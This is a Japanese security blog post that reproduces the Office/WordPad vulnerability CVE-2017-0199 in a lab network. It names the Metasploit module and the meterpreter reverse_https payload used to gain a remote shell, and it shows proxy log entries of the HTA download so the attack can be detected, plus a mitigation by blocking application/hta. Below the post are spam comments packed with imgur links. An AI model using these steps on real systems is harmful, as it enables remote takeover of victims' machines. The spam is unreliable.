Microsoft Office/WordPadの脆弱性CVE-2017-0199を検証してみた。: セクタンラボ実験日誌

<< 2019年03月 >>
日	月	火	水	木	金	土
					1	2
3	4	5	6	7	8	9
10	11	12	13	14	15	16
17	18	19	20	21	22	23
24	25	26	27	28	29	30
31

<< Trend Micro CTF 2017 writeup | TOP | CPUの脆弱性MeltdownとSpectreの影響分析 >>

2017年07月02日

Microsoft Office/WordPadの脆弱性CVE-2017-0199を検証してみた。

　2017年6月27日にウクライナなど世界各地でランサムウェア「petya（ペトヤまたはペチャ）」の感染被害が発生しました。初期感染経路に関する情報は輻輳しておりますが、いくつかのセキュリティベンダーからは、2017年4月に公開された脆弱性CVE-2017-0199が悪用されたとの情報もあります。

　この説が本当だとすると、不審メールの開封や改ざんされたウェブサイトの閲覧により感染することになり、国内においても被害の発生が懸念されます。　そこで、CVE-2017-0199による攻撃発生時にどのような特徴があるのか、また、ログなどから検知できないのか検証してみました。

検証環境

［ソフトウェア］
・攻撃PC：Debian8, Metasploit Framework ver.4.14.28-dev
・被害PC：Windows7 Professional SP1 64bit, Microsoft Office2010 SP2 32bit

［ネットワーク構成］
　攻撃PC(192.168.15.10)
　　│
　Firewall(192.168.15.100/192.168.100.100)
　　├ Proxy(192.168.100.50)
　Firewall(192.168.15.101/172.16.0.100)
　　│
　被害PC（172.16.0.130）

検証手順

(1)攻撃PCにてmsfconsoleを起動し、エクスプロイトを実行

　　　exploit: windows/fileformat/office_word_hta
　　　payload: windows/meterpreter/reverse_https

(2)上記コマンドにて作成された攻撃用ファイル「msf.doc」を被害PCに移動

(3)被害PC上で「msf.doc」をWORDにて開封

検証結果

(1) 検証手順(3)によりWORD文書を開封すると、「この文書は、他のファイルへのリンクが含まれています。リンクされたファイルのデータでこの文書を更新しますか？」というダイアログメッセージが表示されました。

(2)ダイアログメッセージには、「はい」、「いいえ」、「ヘルプ」の３種類のボタンがありますが、何も操作しなくとも、バックグラウンドで攻撃PCにHTTP接続し、HTAファイルがダウンロードされ実行されました。

(3)HTAファイルの実行により、攻撃PCにmeterpreterセッションが確立され、遠隔操作に成功しました。

［補足］
・「msf.doc」をメールに添付した状態で開封するなど、WORDが「保護されたビュー」で起動した場合は、攻撃が発動しません。ただし、「編集を有効にする」をクリックすると攻撃が発動します。
・Windows7 Home Edition 32bit版にて同様の検証をしたところ、何故か攻撃が成功しませんでした。（原因は不明）

攻撃発生時の特徴

・プロキシログに「hta」ファイルのアクセスログが残ります。なお、ユーザーエージェントはInternet Explorer（デフォルトブラウザ）のものが記録されます。

［攻撃時プロキシログ］


#cat /var/log/squid/access.log
02/Jul/2017:22:34:11 +0900.388   4472 172.16.0.130 TCP_MISS/200 6902 GET http://192.168.15.10/default.hta - DIRECT/192.168.15.10 application/hta "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"
02/Jul/2017:22:34:11 +0900.825    139 172.16.0.130 TCP_MISS/200 6850 GET http://192.168.15.10/default.hta - DIRECT/192.168.15.10 application/hta "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"
02/Jul/2017:22:34:16 +0900.365   3349 172.16.0.130 TCP_MISS/200 962300 CONNECT 192.168.15.10:443 - DIRECT/192.168.15.10 - "-"

※１～２行目が脆弱性攻撃のログ、３行目がMeterpreterによる遠隔操作セッション確立のログ。
※１～２行目のログが記録されたとしても、脆弱性攻撃が成功したとは限らない。

感想

・セキュリティパッチを適用することが最善策なのですが、何らかの理由により適用が困難な場合は、プロキシサーバなどでContent-Type「application/hta」を遮断することで、脆弱性攻撃を緩和できるかもしれないと感じました。（私の環境では、通常のブラウジングでHTAファイルにアクセスすることがないため、対策による影響も小さいのかなと思っています。）

【実験日誌の最新記事】

posted by やまと at 23:37| Comment(3) | 実験日誌

この記事へのコメント

Posted by clanorinrami at 2022年08月05日 05:37

ronde 　耐久性はあり、破れた場合も、消耗品として購入可能です。 CZKViIB
https://imgur.com/GA8QaUH
https://imgur.com/J4iAgJB
https://imgur.com/32Kuk2m
https://imgur.com/LRuxnqL
https://imgur.com/Eqy50uR
https://imgur.com/zsyFAQ9
https://imgur.com/ZuVozMq
https://imgur.com/FE58TGC
https://imgur.com/IJdR3Uo
https://imgur.com/EmnDxAW
https://imgur.com/ieUHPEF
https://imgur.com/pF37Aev
https://imgur.com/Zzc6Xyn
https://imgur.com/3QQIygd
https://imgur.com/XaAhWFR
https://imgur.com/mNDNyWk
https://imgur.com/PmWWxkt
https://imgur.com/wGY02XY
https://imgur.com/o8XT8O3
https://imgur.com/PFBIwYk
https://imgur.com/ZHPRJN7
https://imgur.com/ozPlxYC
https://imgur.com/R3sF7Og
https://imgur.com/J5om6dP
https://imgur.com/QlNtLiL
https://imgur.com/SRXyiWZ
https://imgur.com/gdKEFZ6
https://imgur.com/OKGaIy4
https://imgur.com/K4wLBD1
https://imgur.com/RQB2uOV
https://imgur.com/yam2uS6

Posted by guicedetuque at 2022年08月11日 07:25

rakin 　昨日から山を建て始めたとのことで、まだ土台の部分を組み上げているだけです。しかし、この縄で部材を締め上げる段階が、職人さんたちの腕の見せ所です。 JgT1
https://imgur.com/oqpmD8C
https://imgur.com/LW9Eypy
https://imgur.com/73lkW3u
https://imgur.com/pnpp046
https://imgur.com/WMsjsW1
https://imgur.com/4ETzrtK
https://imgur.com/vffuIhP
https://imgur.com/yLZ0zY1
https://imgur.com/tQJateI
https://imgur.com/ECaDdzA
https://imgur.com/kxMhLfZ
https://imgur.com/ikt3E6K
https://imgur.com/CJjD62c
https://imgur.com/X4GwPfC
https://imgur.com/L1bbSRZ
https://imgur.com/wAlZAb2
https://imgur.com/BRNuhJx
https://imgur.com/E8hrtTb
https://imgur.com/lUlLuLI
https://imgur.com/nq9qexY
https://imgur.com/XxSYbDB
https://imgur.com/tKymrzW
https://imgur.com/m6gTrMG
https://imgur.com/eQ41kVt
https://imgur.com/8rv9CeB
https://imgur.com/yHv5784
https://imgur.com/aXjxkOa
https://imgur.com/sGN4zMk
https://imgur.com/1lzpAdA
https://imgur.com/kQTyz15
https://imgur.com/GFdtJhp

Posted by hiasterperoju at 2022年08月12日 15:36

コメントを書く